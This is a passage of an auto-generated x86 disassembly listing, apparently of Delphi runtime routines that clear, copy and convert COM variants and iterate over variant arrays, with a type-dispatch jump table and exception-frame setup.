B R O U T I N E ======================================= sub_4000E35C proc near ; CODE XREF: sub_4000E3D8:loc_4000E3E5p ; sub_4000E654+11p ... var_C = dword ptr -0Ch push ebx push esi push ecx mov ebx, eax movzx esi, word ptr [ebx] cmp si, 14h jnb short loc_4000E377 push ebx call sub_4000CDE0 call sub_4000E028 jmp short loc_4000E3D3 ; --------------------------------------------------------------------------- loc_4000E377: ; CODE XREF: sub_4000E35C+Cj cmp si, 100h jnz short loc_4000E38D mov word ptr [ebx], 0 lea eax, [ebx+8] call sub_40004884 jmp short loc_4000E3D3 ; --------------------------------------------------------------------------- loc_4000E38D: ; CODE XREF: sub_4000E35C+20j cmp si, 101h jnz short loc_4000E39E mov eax, ebx call ds:off_4001F298 jmp short loc_4000E3D3 ; --------------------------------------------------------------------------- loc_4000E39E: ; CODE XREF: sub_4000E35C+36j test si, 2000h jz short loc_4000E3AE mov eax, ebx call sub_4000E1E0 jmp short loc_4000E3D3 ; --------------------------------------------------------------------------- loc_4000E3AE: ; CODE XREF: sub_4000E35C+47j mov edx, esp mov eax, esi call sub_40012D98 test al, al jz short loc_4000E3C7 mov edx, ebx mov eax, [esp+0Ch+var_C] mov ecx, [eax] call dword ptr [ecx+24h] jmp short loc_4000E3D3 ; --------------------------------------------------------------------------- loc_4000E3C7: ; CODE XREF: sub_4000E35C+5Dj push ebx call sub_4000CDE0 push ebx call sub_4000CDD8 loc_4000E3D3: ; CODE XREF: sub_4000E35C+19j ; sub_4000E35C+2Fj ... pop edx pop esi pop ebx retn sub_4000E35C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E3D8 proc near ; CODE XREF: sub_4000E140+5p ; sub_4000E1E0+152p ... test word ptr [eax], 0BFE8h jnz short loc_4000E3E5 mov word ptr [eax], 0 retn ; --------------------------------------------------------------------------- loc_4000E3E5: ; CODE XREF: sub_4000E3D8+5j call sub_4000E35C retn sub_4000E3D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E3EC proc near ; CODE XREF: sub_400052FC+9p ; sub_40012E54+2Dp ; DATA XREF: ... push eax call sub_4000E3D8 pop eax retn sub_4000E3EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E3F4 proc near ; CODE XREF: sub_4000E480+14Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] add ecx, 0FFFFFD00h loc_4000E401: ; CODE XREF: sub_4000E3F4+28j mov edx, [ecx+eax*8+4] add edx, [ecx+eax*8] mov ebx, [ebp+arg_0] cmp edx, [ebx+eax*4-100h] setnle dl dec eax test dl, dl jz short loc_4000E41E test eax, eax jge short loc_4000E401 loc_4000E41E: ; CODE XREF: sub_4000E3F4+24j mov eax, edx pop ebx pop ebp retn sub_4000E3F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E424 proc near ; CODE XREF: sub_4000E424+4Dp ; sub_4000E480+1A5p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov dl, 1 mov ecx, [ebp+arg_0] inc dword ptr [ecx+eax*4-100h] mov ecx, [ebp+arg_0] mov ecx, [ecx+eax*8-2FCh] mov ebx, ecx mov esi, [ebp+arg_0] add ebx, [esi+eax*8-300h] mov esi, [ebp+arg_0] cmp ebx, [esi+eax*4-100h] jg short loc_4000E479 test eax, eax jnz short loc_4000E45F xor edx, edx jmp short loc_4000E479 ; --------------------------------------------------------------------------- loc_4000E45F: ; CODE XREF: sub_4000E424+35j mov edx, [ebp+arg_0] mov edx, [ebp+arg_0] mov [edx+eax*4-100h], ecx mov edx, [ebp+arg_0] push edx dec eax call sub_4000E424 pop ecx mov edx, eax loc_4000E479: ; CODE XREF: sub_4000E424+31j ; sub_4000E424+39j mov eax, edx pop esi pop ebx pop ebp retn sub_4000E424 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E480 proc near ; CODE XREF: sub_4000E654+75p var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = byte ptr -300h var_2FC = byte ptr -2FCh var_100 = byte ptr -100h push ebp mov ebp, esp add esp, 0FFFFFCE0h push ebx push esi push edi mov [ebp+var_308], ecx mov ebx, edx mov [ebp+var_304], eax test byte ptr [ebx+1], 20h jnz short loc_4000E4AA mov eax, 80070057h call sub_4000E028 loc_4000E4AA: ; CODE XREF: sub_4000E480+1Ej movzx eax, word ptr [ebx] mov edx, eax and dx, 0FFFh cmp dx, 0Ch jnz loc_4000E631 test ah, 40h jz short loc_4000E4D0 mov eax, [ebx+8] mov eax, [eax] mov [ebp+var_314], eax jmp short loc_4000E4D9 ; --------------------------------------------------------------------------- loc_4000E4D0: ; CODE XREF: sub_4000E480+41j mov eax, [ebx+8] mov [ebp+var_314], eax loc_4000E4D9: ; CODE XREF: sub_4000E480+4Ej mov eax, [ebp+var_314] movzx eax, word ptr [eax] mov [ebp+var_310], eax mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_4000E55E inc ebx xor edi, edi lea esi, [ebp+var_300] loc_4000E4FC: ; CODE XREF: sub_4000E480+DCj mov eax, esi mov [ebp+var_320], eax mov eax, [ebp+var_320] add eax, 4 push eax lea eax, [edi+1] push eax mov eax, [ebp+var_314] push eax call sub_4000D248 call sub_4000E028 lea eax, [ebp+var_30C] push eax lea eax, [edi+1] push eax mov eax, [ebp+var_314] push eax call sub_4000D250 call sub_4000E028 mov eax, [ebp+var_320] mov edx, [ebp+var_30C] sub edx, [eax+4] inc edx mov eax, [ebp+var_320] mov [eax], edx inc edi add esi, 8 dec ebx jnz short loc_4000E4FC loc_4000E55E: ; CODE XREF: sub_4000E480+71j lea eax, [ebp+var_300] push eax mov eax, [ebp+var_310] push eax push 0Ch call sub_4000D240 mov esi, eax test esi, esi jnz short loc_4000E57E call sub_4000DD80 loc_4000E57E: ; CODE XREF: sub_4000E480+F7j mov eax, [ebp+var_304] call sub_4000E3D8 mov eax, [ebp+var_304] mov word ptr [eax], 200Ch mov eax, [ebp+var_304] mov [eax+8], esi mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_4000E5C2 inc ebx lea eax, [ebp+var_2FC] lea edx, [ebp+var_100] loc_4000E5B5: ; CODE XREF: sub_4000E480+140j mov ecx, [eax] mov [edx], ecx add edx, 4 add eax, 8 dec ebx jnz short loc_4000E5B5 loc_4000E5C2: ; CODE XREF: sub_4000E480+126j ; sub_4000E480+1ADj push ebp mov ebx, [ebp+var_310] dec ebx mov eax, ebx call sub_4000E3F4 pop ecx test al, al jz short loc_4000E622 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_100] push eax mov eax, [ebp+var_314] push eax call sub_4000D258 call sub_4000E028 lea eax, [ebp+var_31C] push eax lea eax, [ebp+var_100] push eax push esi call sub_4000D258 call sub_4000E028 mov eax, [ebp+var_318] mov edx, eax mov eax, [ebp+var_31C] call [ebp+var_308] loc_4000E622: ; CODE XREF: sub_4000E480+154j push ebp mov eax, ebx call sub_4000E424 pop ecx test al, al jnz short loc_4000E5C2 jmp short loc_4000E643 ; --------------------------------------------------------------------------- loc_4000E631: ; CODE XREF: sub_4000E480+38j push ebx mov eax, [ebp+var_304] push eax call sub_4000CDE8 call sub_4000E028 loc_4000E643: ; CODE XREF: sub_4000E480+1AFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000E480 endp ; --------------------------------------------------------------------------- align 4 loc_4000E64C: ; DATA XREF: sub_4000E654+6Co call sub_4000E700 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E654 proc near ; CODE XREF: sub_4000E700+3Bp var_10 = dword ptr -10h push ebx push esi push edi push ecx mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_4000E66A mov eax, ebx call sub_4000E35C loc_4000E66A: ; CODE XREF: sub_4000E654+Dj movzx edi, word ptr [esi] cmp di, 14h jnb short loc_4000E681 push esi push ebx call sub_4000CDE8 call sub_4000E028 jmp short loc_4000E6FA ; --------------------------------------------------------------------------- loc_4000E681: ; CODE XREF: sub_4000E654+1Dj cmp di, 100h jnz short loc_4000E69F mov word ptr [ebx], 100h xor eax, eax mov [ebx+8], eax lea eax, [ebx+8] mov edx, [esi+8] call sub_400048D8 jmp short loc_4000E6FA ; --------------------------------------------------------------------------- loc_4000E69F: ; CODE XREF: sub_4000E654+32j cmp di, 101h jnz short loc_4000E6B9 mov [ebx], di mov eax, [esi+8] mov [ebx+8], eax mov eax, ebx call ds:off_4001F2A0 jmp short loc_4000E6FA ; --------------------------------------------------------------------------- loc_4000E6B9: ; CODE XREF: sub_4000E654+50j test di, 2000h jz short loc_4000E6D0 mov ecx, offset loc_4000E64C mov edx, esi mov eax, ebx call sub_4000E480 jmp short loc_4000E6FA ; --------------------------------------------------------------------------- loc_4000E6D0: ; CODE XREF: sub_4000E654+6Aj mov edx, esp mov eax, edi call sub_40012D98 test al, al jz short loc_4000E6EE push 0 mov ecx, esi mov edx, ebx mov eax, [esp+14h+var_10] mov ebx, [eax] call dword ptr [ebx+28h] jmp short loc_4000E6FA ; --------------------------------------------------------------------------- loc_4000E6EE: ; CODE XREF: sub_4000E654+87j push esi push ebx call sub_4000CDE8 call sub_4000E028 loc_4000E6FA: ; CODE XREF: sub_4000E654+2Bj ; sub_4000E654+49j ... pop edx pop edi pop esi pop ebx retn sub_4000E654 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000E700 proc near ; CODE XREF: sub_4000540C+9p ; .text:loc_4000E64Cp ... push ebx push esi mov ebx, edx mov esi, eax cmp esi, ebx jz short loc_4000E740 test word ptr [ebx], 0BFE8h jnz short loc_4000E737 test word ptr [esi], 0BFE8h jz short loc_4000E71F mov eax, esi call sub_4000E35C loc_4000E71F: ; CODE XREF: sub_4000E700+16j mov eax, [ebx] mov [esi], eax mov eax, [ebx+4] mov [esi+4], eax mov eax, [ebx+8] mov [esi+8], eax mov eax, [ebx+0Ch] mov [esi+0Ch], eax jmp short loc_4000E740 ; --------------------------------------------------------------------------- loc_4000E737: ; CODE XREF: sub_4000E700+Fj mov edx, ebx mov eax, esi call sub_4000E654 loc_4000E740: ; CODE XREF: sub_4000E700+8j ; sub_4000E700+35j pop esi pop ebx retn sub_4000E700 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E744 proc near ; CODE XREF: sub_4000E960+1Bp var_10 = byte ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_4000E7A0 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, esi lea eax, [ebp+var_10] call sub_4000E700 lea eax, [ebp+var_10] call ds:off_4001F29C movzx ecx, di lea edx, [ebp+var_10] mov eax, ebx call sub_4000E9CC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E7A7 loc_4000E797: ; CODE XREF: sub_4000E744+61j lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_4000E7A0: ; DATA XREF: sub_4000E744+1Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E797 ; --------------------------------------------------------------------------- loc_4000E7A7: ; CODE XREF: sub_4000E744+5Bj ; DATA XREF: sub_4000E744+4Eo pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000E744 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E7B0 proc near ; CODE XREF: sub_4000E9CC+166p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000E7EE push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] call sub_40011DFC mov eax, ebx mov edx, [ebp+var_4] call sub_40012728 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E7F5 loc_4000E7E5: ; CODE XREF: sub_4000E7B0+43j lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_4000E7EE: ; DATA XREF: sub_4000E7B0+Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E7E5 ; --------------------------------------------------------------------------- loc_4000E7F5: ; CODE XREF: sub_4000E7B0+3Dj ; DATA XREF: sub_4000E7B0+30o pop ebx pop ecx pop ebp retn sub_4000E7B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E7FC proc near ; CODE XREF: sub_4000E9CC+20Bp var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000E83A push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] call sub_400116DC mov eax, ebx mov edx, [ebp+var_4] call sub_400126FC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E841 loc_4000E831: ; CODE XREF: sub_4000E7FC+43j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000E83A: ; DATA XREF: sub_4000E7FC+Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E831 ; --------------------------------------------------------------------------- loc_4000E841: ; CODE XREF: sub_4000E7FC+3Dj ; DATA XREF: sub_4000E7FC+30o pop ebx pop ecx pop ebp retn sub_4000E7FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E848 proc near ; CODE XREF: sub_4000E9CC+1E6p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000E886 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] call sub_40012494 mov eax, ebx mov edx, [ebp+var_4] call sub_4001278C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E88D loc_4000E87D: ; CODE XREF: sub_4000E848+43j lea eax, [ebp+var_4] call sub_40006204 retn ; --------------------------------------------------------------------------- loc_4000E886: ; DATA XREF: sub_4000E848+Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E87D ; --------------------------------------------------------------------------- loc_4000E88D: ; CODE XREF: sub_4000E848+3Dj ; DATA XREF: sub_4000E848+30o pop ebx pop ecx pop ebp retn sub_4000E848 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E894 proc near ; CODE XREF: sub_4000E9CC+1F1p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000E8D2 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] call sub_400123C8 mov eax, ebx mov edx, [ebp+var_4] call sub_40012760 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E8D9 loc_4000E8C9: ; CODE XREF: sub_4000E894+43j lea eax, [ebp+var_4] call sub_40006204 retn ; --------------------------------------------------------------------------- loc_4000E8D2: ; DATA XREF: sub_4000E894+Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E8C9 ; --------------------------------------------------------------------------- loc_4000E8D9: ; CODE XREF: sub_4000E894+3Dj ; DATA XREF: sub_4000E894+30o pop ebx pop ecx pop ebp retn sub_4000E894 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000E8E0 proc near ; CODE XREF: sub_4000E960+60p push ebx push esi push edi mov esi, ecx mov ebx, edx mov edi, eax movzx eax, word ptr [ebx] mov edx, eax and dx, 0FFFh cmp dx, 14h jb short loc_4000E926 mov edx, ebx mov eax, edi mov ecx, 8 call sub_4000E9CC push esi push 0 push 400h push edi push edi mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov ecx, esi call sub_4000E034 jmp short loc_4000E959 ; --------------------------------------------------------------------------- loc_4000E926: ; CODE XREF: sub_4000E8E0+17j mov edx, esi and dx, 0FFFh cmp dx, 14h jnb short loc_4000E952 push esi push 0 push 400h push ebx push edi mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov ecx, esi call sub_4000E034 jmp short loc_4000E959 ; --------------------------------------------------------------------------- loc_4000E952: ; CODE XREF: sub_4000E8E0+51j mov edx, esi call sub_4000DBF4 loc_4000E959: ; CODE XREF: sub_4000E8E0+44j ; sub_4000E8E0+70j pop edi pop esi pop ebx retn sub_4000E8E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000E960 proc near ; CODE XREF: sub_4000E9CC+221p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov ebx, edx mov edi, eax movzx ebp, word ptr [ebx] cmp bp, 101h jnz short loc_4000E982 mov edx, ebx mov eax, edi mov ecx, esi call sub_4000E744 jmp short loc_4000E9C5 ; --------------------------------------------------------------------------- loc_4000E982: ; CODE XREF: sub_4000E960+13j mov edx, esp mov eax, ebp call sub_40012D98 test al, al jz short loc_4000E99F push esi mov ecx, ebx mov edx, edi mov eax, [esp+18h+var_14] mov ebx, [eax] call dword ptr [ebx+1Ch] jmp short loc_4000E9C5 ; --------------------------------------------------------------------------- loc_4000E99F: ; CODE XREF: sub_4000E960+2Dj mov edx, esp mov eax, esi call sub_40012D98 test al, al jz short loc_4000E9BA mov ecx, ebx mov edx, edi mov eax, [esp+14h+var_14] mov ebx, [eax] call dword ptr [ebx+18h] jmp short loc_4000E9C5 ; --------------------------------------------------------------------------- loc_4000E9BA: ; CODE XREF: sub_4000E960+4Aj mov edx, ebx mov eax, edi mov ecx, esi call sub_4000E8E0 loc_4000E9C5: ; CODE XREF: sub_4000E960+20j ; sub_4000E960+3Dj ... pop edx pop ebp pop edi pop esi pop ebx retn sub_4000E960 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E9CC proc near ; CODE XREF: sub_4000E744+41p ; sub_4000E8E0+22p ... var_C = dword ptr -0Ch push ebx push esi mov ebx, edx mov esi, eax movzx eax, word ptr [ebx] movzx edx, ax cmp ecx, edx jnz short loc_4000E9E8 mov edx, ebx mov eax, esi call sub_4000E700 pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4000E9E8: ; CODE XREF: sub_4000E9CC+Ej cmp ax, 400Ch jnz short loc_4000E9FF mov eax, [ebx+8] mov edx, eax mov eax, esi call sub_4000E9CC jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000E9FF: ; CODE XREF: sub_4000E9CC+20j mov edx, ecx cmp edx, 14h ; switch 21 cases ja loc_4000EBC4 ; default ; jumptable 4000EA0A cases 10,12,14,15 jmp ds:off_4000EA11[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_4000EA11 dd offset loc_4000EA65 ; DATA XREF: sub_4000E9CC+3Er dd offset loc_4000EA90 ; jump table for switch statement dd offset loc_4000EA9C dd offset loc_4000EAB1 dd offset loc_4000EAC6 dd offset loc_4000EAE0 dd offset loc_4000EAFA dd offset loc_4000EB14 dd offset loc_4000EB2E dd offset loc_4000EBAE dd offset loc_4000EBC4 dd offset loc_4000EB3C dd offset loc_4000EBC4 dd offset loc_4000EBB9 dd offset loc_4000EBC4 dd offset loc_4000EBC4 dd offset loc_4000EB51 dd offset loc_4000EB66 dd offset loc_4000EB78 dd offset loc_4000EB8A dd offset loc_4000EB9C ; --------------------------------------------------------------------------- loc_4000EA65: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o cmp word ptr [ebx], 1 ; jumptable 4000EA0A case 0 jnz short loc_4000EA84 cmp byte_4001AA10, 0 jz short loc_4000EA84 xor edx, edx mov ax, 1 call sub_4000DBF4 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EA84: ; CODE XREF: sub_4000E9CC+9Dj ; sub_4000E9CC+A6j mov eax, esi call sub_4000E3D8 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EA90: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, esi ; jumptable 4000EA0A case 1 call sub_4000E140 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EA9C: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 2 call sub_4000F33C mov edx, eax mov eax, esi call sub_400125E0 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EAB1: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 3 call sub_4000ED90 mov edx, eax mov eax, esi call sub_40012540 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EAC6: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 4 call sub_400106E4 add esp, 0FFFFFFFCh fstp [esp+0Ch+var_C] wait mov eax, esi call sub_4001262C jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EAE0: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 5 call sub_4001036C add esp, 0FFFFFFF8h fstp qword ptr [esp] wait mov eax, esi call sub_40012650 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EAFA: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 6 call sub_40011024 add esp, 0FFFFFFF8h fistp qword ptr [esp] wait mov eax, esi call sub_4001267C jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB14: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 7 call sub_40010ABC add esp, 0FFFFFFF8h fstp qword ptr [esp] wait mov eax, esi call sub_400126A8 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB2E: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov edx, ebx ; jumptable 4000EA0A case 8 mov eax, esi call sub_4000E7B0 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB3C: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 11 call sub_4000FE58 mov edx, eax mov eax, esi call sub_400126D4 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB51: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 16 call sub_4000F1E0 mov edx, eax mov eax, esi call sub_400125C0 jmp loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB66: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 17 call sub_4000F294 mov edx, eax mov eax, esi call sub_40012560 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB78: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 18 call sub_4000F434 mov edx, eax mov eax, esi call sub_40012580 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB8A: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 19 call sub_4000F510 mov edx, eax mov eax, esi call sub_400125A0 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EB9C: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov eax, ebx ; jumptable 4000EA0A case 20 call sub_4000F860 push edx push eax mov eax, esi call sub_40012600 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EBAE: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov edx, ebx ; jumptable 4000EA0A case 9 mov eax, esi call sub_4000E848 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EBB9: ; CODE XREF: sub_4000E9CC+3Ej ; DATA XREF: sub_4000E9CC:off_4000EA11o mov edx, ebx ; jumptable 4000EA0A case 13 mov eax, esi call sub_4000E894 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EBC4: ; CODE XREF: sub_4000E9CC+38j ; sub_4000E9CC+3Ej ; DATA XREF: ... mov edx, ecx ; default ; jumptable 4000EA0A cases 10,12,14,15 sub edx, 100h jz short loc_4000EBD3 dec edx jz short loc_4000EBDE jmp short loc_4000EBE9 ; --------------------------------------------------------------------------- loc_4000EBD3: ; CODE XREF: sub_4000E9CC+200j mov edx, ebx mov eax, esi call sub_4000E7FC jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EBDE: ; CODE XREF: sub_4000E9CC+203j mov dx, 101h call sub_4000DBF4 jmp short loc_4000EBF2 ; --------------------------------------------------------------------------- loc_4000EBE9: ; CODE XREF: sub_4000E9CC+205j mov edx, ebx mov eax, esi call sub_4000E960 loc_4000EBF2: ; CODE XREF: sub_4000E9CC+2Ej ; sub_4000E9CC+B3j ... pop esi pop ebx retn sub_4000E9CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000EBF8 proc near ; CODE XREF: sub_4000ED90+15Bp ; sub_4000ED90+213p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push 0 push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000EC9B push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_8] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001B0B0 mov eax, [eax] call eax mov edx, eax sub edx, 80020005h jz short loc_4000EC48 sub edx, 7FFDFFFBh jnz short loc_4000EC71 jmp short loc_4000EC7D ; --------------------------------------------------------------------------- loc_4000EC48: ; CODE XREF: sub_4000EBF8+44j lea eax, [ebp+var_C] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_C] lea edx, [ebp+var_8] call sub_40007DEC test al, al jnz short loc_4000EC7D mov eax, ebx call sub_4000FE58 and eax, 7Fh mov [ebp+var_8], eax jmp short loc_4000EC7D ; --------------------------------------------------------------------------- loc_4000EC71: ; CODE XREF: sub_4000EBF8+4Cj movzx edx, word ptr [ebx] mov cx, 3 call sub_4000E034 loc_4000EC7D: ; CODE XREF: sub_4000EBF8+4Ej ; sub_4000EBF8+68j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000ECA2 loc_4000EC8A: ; CODE XREF: sub_4000EBF8+A8j lea eax, [ebp+var_C] call sub_40004884 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_4000EC9B: ; DATA XREF: sub_4000EBF8+Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000EC8A ; --------------------------------------------------------------------------- loc_4000ECA2: ; CODE XREF: sub_4000EBF8+A2j ; DATA XREF: sub_4000EBF8+8Do mov eax, [ebp+var_8] pop ebx mov esp, ebp pop ebp retn sub_4000EBF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000ECAC proc near ; CODE XREF: sub_4000ED90+1F0p ; sub_4000ED90+3F3p ... var_14 = byte ptr -14h var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF0h mov ebx, eax push esp call sub_4000CDD8 push 3 push 0 push 400h push ebx lea eax, [esp+24h+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 3 call sub_4000E034 mov eax, [esp+14h+var_C] add esp, 10h pop ebx retn sub_4000ECAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000ECE8 proc near ; CODE XREF: sub_4000ED90+223p var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx mov ebx, eax lea eax, [ebp+var_14] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_4000ED3C push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_14] call sub_4000E700 lea eax, [ebp+var_14] call ds:off_4001F29C lea eax, [ebp+var_14] call sub_4000ED90 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000ED43 loc_4000ED33: ; CODE XREF: sub_4000ECE8+59j lea eax, [ebp+var_14] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_4000ED3C: ; DATA XREF: sub_4000ECE8+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000ED33 ; --------------------------------------------------------------------------- 